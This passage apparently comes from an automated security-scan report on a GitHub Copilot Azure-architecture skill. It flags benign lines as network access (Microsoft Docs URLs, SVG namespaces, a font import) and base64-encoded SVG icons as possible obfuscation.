    |---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | | AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searc
  • Network accessline 15
    | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts |
  • Network accessline 16
    | AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searchservices |
  • Network accessline 17
    | Storage Account | https://learn.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts |
  • Network accessline 18
    | Key Vault | https://learn.microsoft.com/en-us/azure/templates/microsoft.keyvault/vaults |
  • Network accessline 19
    | Virtual Network | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/virtualnetworks |
  • Network accessline 20
    | Private Endpoints | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privateendpoints |
  • Network accessline 21
    | Private DNS Zones | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privatednszones |
  • Network accessline 22
    | Fabric | https://learn.microsoft.com/en-us/azure/templates/microsoft.fabric/capacities |
  • Network accessline 23
    | Data Factory | https://learn.microsoft.com/en-us/azure/templates/microsoft.datafactory/factories |
  • Network accessline 24
    | Application Insights | https://learn.microsoft.com/en-us/azure/templates/microsoft.insights/components |
  • Network accessline 25
    | ML Workspace (Hub) | https://learn.microsoft.com/en-us/azure/templates/microsoft.machinelearningservices/workspaces |
  • Network accessline 33
    https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType}
  • Network accessline 42
    | Verification Method | URL / Command | |--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models |
  • Network accessline 43
    |--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | | Azure CLI (existing resources) | `az cognitiveservices account list-models --name "<NAME>" 
  • Network accessline 44
    | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models |
  • Network accessline 55
    | Verification Method | URL | |--------------------|-----| | PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns |
  • Network accessline 57
    | PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns |
  • Network accessline 67
    | Verification Method | URL | |--------------------|-----| | Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ |
  • Network accessline 69
    | Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ |
  • Network accessline 77
    | Source | URL | Purpose | |--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness |
  • Network accessline 78
    |--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness | | What's New in Azure | Per-service What's New pages in Docs | Feature change verification |
  • Network accessline 79
    | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness |

harness/github-copilot/skills/azure-architecture-autopilot/references/bicep-generator.md

  • Network accessline 21
    **Verification Methods (in priority order): ** 1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models
  • Network accessline 22
    1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models
  • Network accessline 48
    ### Always Fetch (Dynamic)
  • Network accessline 68
    1. **Notify the user **: "This service is outside the v1 default scope. It will be generated on a best-effort basis by referencing MS Docs." 2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure
  • Network accessline 69
    2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType}` and fetch
  • Network accessline 70
    3. **Identify resource type/required properties **: Confirm the resource type and required properties from the fetched Docs 4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to conf
  • Network accessline 71
    4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to confirm groupId/DNS Zone

harness/github-copilot/skills/azure-architecture-autopilot/references/phase1-advisor.md

  • Network accessline 162
    - **`choices` MUST be passed as a string array (`["A", "B"]`) ** — passing as a string (`"A, B"`) will cause an error - If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information i
  • Network accessline 163
    - If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"` - **Only 1 question per cal
  • Network accessline 164
    - Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"`
  • Network accessline 183
    // 1. SKU question ask_user({   question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier",
  • Network accessline 184
    ask_user({   question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier",   choices: [
  • Network accessline 185
    question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier",
  • Network accessline 194
    // 2. Region question (separate call — only 1 question per call) ask_user({   question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models",
  • Network accessline 195
    ask_user({   question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models",   choices: [
  • Network accessline 196
    question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models",
  • Network accessline 325
    Write-Host "Please install using one of the following methods:" -ForegroundColor Yellow   Write-Host "  1. winget install Python.Python.3.12"   Write-Host "  2. Download from https://www.python.org/downloads/"
  • Network accessline 326
    Write-Host "  1. winget install Python.Python.3.12"   Write-Host "  2. Download from https://www.python.org/downloads/"   Write-Host "  3. Search for 'Python 3.12' in the Microsoft Store and install"
  • Network accessline 327
    Write-Host "  2. Download from https://www.python.org/downloads/"

harness/github-copilot/skills/azure-architecture-autopilot/references/service-gotchas.md

  • Network accessline 59
    > > This mapping is complex and subject to change, so always fetch and verify MS Docs when configuring Monitor PE: > https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure
  • Network accessline 61
    > https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure

harness/github-copilot/skills/azure-architecture-autopilot/scripts/cli.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/azure-architecture-autopilot/scripts/generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 528
    <title>{title}</title> <style>   @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap');
  • Network accessline 529
    <style>   @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap');   * {{ box-sizing: border-box; margin: 0; padding: 0; }}
  • Network accessline 530
    @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap');
  • Network accessline 1139
    const vr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1147
    const vnetLabel = VNET_INFO ? `Virtual Network (${{VNET_INFO}})` : 'Virtual Network';       const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 1148
    const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 1168
    if (gb.isPE) {{       // PE group — always draw with dashed style       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1169
    // PE group — always draw with dashed style       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');       gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y);
  • Network accessline 1170
    const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1177
    }} else {{       // Service group (category or RG)       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1178
    // Service group (category or RG)       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');       gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y);
  • Network accessline 1179
    const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1190
    // Title bar     const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1191
    const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1196
    titleBar.setAttribute('opacity', '0.1');     root.appendChild(titleBar);     const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1197
    root.appendChild(titleBar);     const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect');     titleFill.setAttribute('x', gb.x); titleFill.setAttribute('y', gb.y + GROUP_TITLE_H - 8);
  • Network accessline 1198
    const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1204
    // Color accent line     const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1205
    const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1211
    // Group label — RG uses resource group name, PE uses "Private Endpoints", category uses category name     const label = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 1212
    const label = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 1253
    const sr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1261
    const sl = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2533
    const path = document.createElementNS('http://www.w3.org/2000/svg', 'path');
  • Network accessline 2603
    const nw = isPe ? PE_W : SVC_W;     const nh = isPe ? PE_H : SVC_H;     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2604
    const nh = isPe ? PE_H : SVC_H;     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');     g.setAttribute('class', 'node');
  • Network accessline 2605
    const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2610
    // Card background — full clickable area     const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2611
    const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2619
    // Color accent bar at top     const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2620
    const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2630
    if (node.icon_data_uri) {{       // Official Azure icon (Base64 image)       const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image');
  • Network accessline 2631
    // Official Azure icon (Base64 image)       const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image');       iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY);
  • Network accessline 2632
    const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image');
  • Network accessline 2633
    iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY);       iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize);       iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data
  • Network accessline 2634
    iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize);       iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri);       g.appendChild(iconImg);
  • Network accessline 2635
    iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri);
  • Network accessline 2637
    }} else {{       // Fallback: built-in SVG text icon       const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
  • Network accessline 2638
    // Fallback: built-in SVG text icon       const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');       iconG.setAttribute('x', iconX); iconG.setAttribute('y', iconY);
  • Network accessline 2639
    const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
  • Network accessline 2647
    // Name — extra gap below icon (icon bottom ~50, name baseline at 74 → 24px breathing room)     const name = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2648
    const name = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2658
    // SKU label     if (!isPe && node.sku) {{       const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2659
    if (!isPe && node.sku) {{       const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text');       sku.setAttribute('x', nw/2); sku.setAttribute('y', 90);
  • Network accessline 2660
    const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2669
    if (isPe && node.details.length > 0) {{       const det = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2670
    const det = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2697
    }};       const typeLabel = TYPE_LABELS[node.type] || node.type;       const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2698
    const typeLabel = TYPE_LABELS[node.type] || node.type;       const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text');       cat.setAttribute('x', nw/2); cat.setAttribute('y', nh + 14);
  • Network accessline 2699
    const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2709
    // Private badge on card     if (node.private && !isPe) {{       const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2710
    if (node.private && !isPe) {{       const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g');       const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2711
    const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2712
    const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2758
    // ── Edge labels (rendered AFTER nodes — always visible on top) ──   _edgeLabels.forEach(el => {{     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2759
    _edgeLabels.forEach(el => {{     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');     g.classList.add('edge-label');
  • Network accessline 2760
    const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2762
    g.setAttribute('data-from', el.from);     g.setAttribute('data-to', el.to);     const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2763
    g.setAttribute('data-to', el.to);     const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect');     r.classList.add('edge-label-bg');
  • Network accessline 2764
    const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2765
    r.classList.add('edge-label-bg');     const t = document.createElementNS('http://www.w3.org/2000/svg', 'text');     const bw = el.label.length * 6 + 10;
  • Network accessline 2766
    const t = document.createElementNS('http://www.w3.org/2000/svg', 'text');

harness/github-copilot/skills/azure-architecture-autopilot/scripts/icons.py

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 7
    "b64": "PHN2ZyBpZD0idXVpZC1mY2E5ZmM4YS03ZTg3LTQyOTEtOTU5Ni1jYjg3ODIzMWQzMjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik05LjA4MiwxNC42NzdoMy4zNDVjLjY2MywwLDEuMi0uNTM3
  • Possible obfuscationline 12
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViYWE2NjZmLWQzNGItNDdjNi05ZGQ4LTk1NWNjZTY0MmRkOSIgeDE9IjE0LjQxNSIgeTE9IjEzLjU1NSIgeDI9
  • Possible obfuscationline 17
    "b64": "PHN2ZyBpZD0idXVpZC0xNzM1MTRmNy1kNmE1LTRkZjctODNhMC04ODMzZjg4NjEzODYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjFhNjQxMy1kYTM1
  • Possible obfuscationline 22
    "b64": "PHN2ZyBpZD0iZjQ1YWI3ODItN2E2ZC00ZjE4LTk0MTYtOGY3OGE0MDg3MTU1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4YTZhNGZjLTllOGQtNDIzYS05N2Qx
  • Possible obfuscationline 27
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0ODUyZTZmLTRlNDgtNDdhNi04Y2I3LWM1NDAxN2M0Mzg5NiIgeDE9IjkuMjgyIiB5MT0iMTIuMDc5IiB4Mj0i
  • Possible obfuscationline 32
    "b64": "PHN2ZyBpZD0iYmNlODM0ZTctZDM3Ni00YzIxLTk3ZTYtYjZjODQwYzMyZGUwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1YjYwODgyLWFiZGUtNDcwYy1hMGY1
  • Possible obfuscationline 37
    "b64": "PHN2ZyBpZD0idXVpZC1iZTI1ODQ1Zi1jNjcyLTQ5MmEtYmM1My05NjE0Y2M5YmM3NmYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NzcyZmQyYS03YzM2
  • Possible obfuscationline 42
    "b64": "PHN2ZyBpZD0idXVpZC02YjgzODBjMy0wZWU1LTRjNDQtOTJhMi1mMTg1YzgyZGI2YmEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0wNTg3NmM3Mi04ZjI2
  • Possible obfuscationline 47
    "b64": "PHN2ZyBpZD0idXVpZC1jNmMzZjc1ZS01MzY5LTQ0OGUtYjg5NS0zZjk5ZmIxMWJlYmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik03LjQ1Ni42MDhjLS45MDItLjQxMS0xLjkwOS0uNTU5LTIu
  • Possible obfuscationline 52
    "b64": "PHN2ZyBpZD0idXVpZC1jZDVhOGI0MC00MDRiLTQ2NTAtOGFkNS0zNjE0YWYwMTUyZjkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC1hMmY4NmI4NC05Nzg1
  • Possible obfuscationline 57
    "b64": "PHN2ZyBpZD0idXVpZC1hOGI5NGNjMS1lNGQ3LTRmMjYtOGZiZS05M2Q3OWM3MTQ3ZTciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iODRiMmM4OS00NjI5
  • Possible obfuscationline 62
    "b64": "PHN2ZyBpZD0iYTlmNTZiNGUtMmE1MS00NDcxLTk0ODgtZDQ2MTQwOGFlNGViIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU0ZTFlNDk0LTIxZjEtNGU5Yy1hNmZh
  • Possible obfuscationline 67
    "b64": "PHN2ZyBpZD0iZTBiNGY0NDctZDVhOS00N2UzLTkwZTEtZjIxODRiYjlkMTRhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZmM1MzkyLTlmNDUtNDczZS1hMmQ0
  • Possible obfuscationline 72
    "b64": "PHN2ZyBpZD0iYTZkZjkzOTMtMmJkNy00YWM0LWJhMDYtYWI1ZjE2ZmY1OTIzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZkNTkxYjM1LTBlMDEtNDYxMC1hMDI1
  • Possible obfuscationline 77
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiZWM1NDdjLWFiZTYtNDBmZi05NGJiLWM4YWU0OTM2ZDNiYSIgeDE9IjEwLjA4NCIgeTE9IjEuMzA5IiB4Mj0i
  • Possible obfuscationline 82
    "b64": "PHN2ZyBpZD0idXVpZC00MzFhNzU5Yy1hMjlkLTQ2NzgtODllZS01YjFiMjY2NmY4OTAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0xMDQ3OGU2OC0xMDA5
  • Possible obfuscationline 87
    "b64": "PHN2ZyBpZD0iZmUzNjYwOTktYTJiMS00MjZlLWJmMTQtNWZhYzNhZjI2MzNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkODNmMTY5LTEwNmMtNDg4OC04OTc0
  • Possible obfuscationline 92
    "b64": "PHN2ZyBpZD0iZjc4ZWYzN2ItZmRlNC00NjFjLTk0ZTItZGNjZmYzMmRkNWQ3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmOGE5NTgzLWFhZTktNDhmZi04N2Q4
  • Possible obfuscationline 97
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZmN2ExYTlmLWUxYTctNDcxYS1iNzZlLTFkMmVhNDNhOGQxMSIgeDE9IjguOTI0IiB5MT0iNzg1LjE0NSIgeDI9
  • Possible obfuscationline 102
    "b64": "PHN2ZyBpZD0idXVpZC04YzNlZGU0My01NTZkLTRjNjAtYjhlYi1lYTMwMGE5Yzg3NjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1kNmQwMjE2Mi03MDMx
  • Possible obfuscationline 107
    "b64": "PHN2ZyBpZD0iYjYyZmU1M2QtZDEwMi00ODhlLWJlZGYtM2I3YTQ4YWExNGJmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJiYWEyNDRkLTdhNzMtNGRlZi1hZTMz
  • Possible obfuscationline 112
    "b64": "PHN2ZyBpZD0iYTc2YTAxMDMtY2UwMy00ZDU4LTg1OWQtNGMyN2UwMjkyNWQyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmZWI4ZTk2LTJhZjAtNDY4MS05YTZh
  • Possible obfuscationline 117
    "b64": "PHN2ZyBpZD0iZjZhNzkxMjYtYTdlZi00MTkwLWIwMWItZTM0YjVjY2I3OTc3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmYzk1ZjU3LTI4YmYtNDFkZS1hMDll
  • Possible obfuscationline 122
    "b64": "PHN2ZyBpZD0iZjM5ZGIwOGYtYzQzMy00YjNlLThkZDktZjViMzJiMGRkMmUyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzYjQ2MmQzLTRjM2MtNDdlOS04Mjdi
  • Possible obfuscationline 127
    "b64": "PHN2ZyBpZD0iZmQzZDhkNGEtNDZlMS00NDA4LWJhMWUtOTEzNWE3ZTM0YzQ5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIyNWE2ZWVmLTYzYTEtNDAyOC05ODFm
  • Possible obfuscationline 132
    "b64": "PHN2ZyBpZD0iZmNhMjEwNWYtYzAzOS00ZjM0LWJkNjUtOGFiOTVkNGVjZGI5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE3NzNhZjM4LTQzZTQtNGZkMi05NDg1
  • Possible obfuscationline 137
    "b64": "PHN2ZyBpZD0iYjcwYWNmMGEtMzRiNC00YmRmLTkwMjQtNzQ5NjA0M2ZmOTE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImUyY2Y4NzQ2LWM5YTgtNGVlZS04NmMy
  • Possible obfuscationline 142
    "b64": "PHN2ZyB3aWR0aD0iMzYiIGhlaWdodD0iMzYiIHZpZXdCb3g9IjAgMCAzNiAzNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfOTE3NV8zNDg0OTgpIj48cGF0aCBkPSJNNi4xMzU5NSAxNi4zMDRDNi4xMzU5NSAyMi4zMzgg
  • Possible obfuscationline 147
    "b64": "PHN2ZyBpZD0idXVpZC0xMjYwOWRhYS02MDhhLTQ5Y2MtYmU3My02OTgwOWYwNThmOGUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1jNWI3NzJkMy01NmZi
  • Possible obfuscationline 152
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2NDAyOWRjLTUzYjYtNDNiMi04YWFlLTkyNDEzODQ2ZTUxYyIgeTE9IjkiIHgyPSIxOCIgeTI9IjkiIGdyYWRp
  • Possible obfuscationline 157
